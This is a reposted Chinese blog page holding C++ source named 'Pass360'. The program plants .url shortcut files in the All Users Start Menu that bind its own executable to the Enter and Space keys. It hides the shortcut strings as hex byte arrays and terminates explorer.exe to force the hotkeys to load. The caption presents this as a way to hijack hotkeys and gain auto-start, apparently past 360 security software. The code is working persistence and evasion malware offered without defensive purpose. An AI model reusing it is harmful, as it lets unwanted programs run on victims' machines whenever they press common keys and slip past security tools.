Pass360[最新].cpp

本文介绍了一种通过创建快捷方式来截获特定热键的方法,并实现了程序自启动的功能。利用C++编写,该程序能够终止指定进程,如Explorer,并在重启后重新设置热键。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

View Code
 1 #include <windows.h>
 2 #include <shobjidl.h>
 3 #include <shlguid.h>
 4 #include <shlobj.h>
 5 #include <tlhelp32.h> 
 6 
 7 #pragma comment(linker, "/opt:nowin98")
 8 #pragma comment(linker, "/opt:ref")
 9 #pragma comment (linker, "/OPT:ICF")
10 
11 int KillMyProcess(char *exeName)  
12 { 
13     int rc = 0; 
14     HANDLE hSysSnapshot = NULL; 
15     PROCESSENTRY32 proc; 
16     hSysSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ); 
17     if ( hSysSnapshot == (HANDLE)-1 ) return 1; 
18     
19     proc.dwSize = sizeof(proc); 
20     if ( Process32First ( hSysSnapshot, &proc ) ) { 
21         do { 
22             if (stricmp(proc.szExeFile, exeName)==0) { 
23                 HANDLE Proc_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc.th32ProcessID); 
24                 if (Proc_handle==NULL || !TerminateProcess(Proc_handle, 0)) rc = 1; 
25                 else rc = 0; 
26             } 
27         } while ( Process32Next ( hSysSnapshot, &proc ) ); 
28     } 
29     CloseHandle ( hSysSnapshot ); 
30     return rc; 
31 } 
32 
33 
34 
35 void CreateUrlLink(LPSTR lpExePath,LPWSTR lpUrlPath,int iHotKey)
36 {
37     LPSTR  s=new char[1024];
38     ZeroMemory(s,1024);
39     //s1=[InternetShortcut]URL=file:///
40     //s2=HotKey
41     char   s1[]={0x5B, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6E, 0x65, 0x74, 0x53, 0x68, 0x6F, 0x72, 0x74, 0x63, 0x75, 0x74, 0x5D, 0x0D, 0x0A, 0x55, 0x52, 0x4C, 0x3D, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x2F, 0x2F, 0x2F, 0x00};
42     char   s2[]={0x0D, 0x0A, 0x48, 0x6F, 0x74, 0x4B, 0x65, 0x79, 0x3D, 0x00};
43     wsprintf(s,"%s%s%s%i",s1,lpExePath,s2,iHotKey);
44     DWORD  d;
45     HANDLE hFile=CreateFileW(lpUrlPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NULL,NULL);
46     WriteFile(hFile,s,lstrlen(s),&d,NULL);
47     CloseHandle(hFile);
48 }
49 
50 int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
51 {
52     char   szExePath[256];
53     LPWSTR lpLnkPath=L"C:\\Documents and Settings\\All Users\\「开始」菜单\\Xnz.url";
54     LPWSTR lpLnkPath1=L"C:\\Documents and Settings\\All Users\\「开始」菜单\\Xnv.url";
55     //热键 32=space 13=回车
56     int    iHotKey=13;
57     int    iHotKey1=32;
58     GetModuleFileName(NULL,szExePath,sizeof(szExePath));
59 
60     //Delete 热键并重启explorer 更新系统热键
61     CreateUrlLink(szExePath,lpLnkPath,0);
62     CreateUrlLink(szExePath,lpLnkPath1,0);
63     //system("tskill explorer");
64     KillMyProcess("EXPLORER.EXE");
65     //延时恢复热键 假如在explorer重启完毕之前继续写入文件就没有效果了
66     Sleep(3000);  
67     CreateUrlLink(szExePath,lpLnkPath,iHotKey);
68     CreateUrlLink(szExePath,lpLnkPath1,iHotKey1);
69     MessageBox(NULL,"运行成功","",NULL);
70     return 0;
71 }

通过创建快捷方式 截获快捷键 获取自启动 

 

转载于:https://www.cnblogs.com/FCoding/archive/2012/07/03/2575418.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值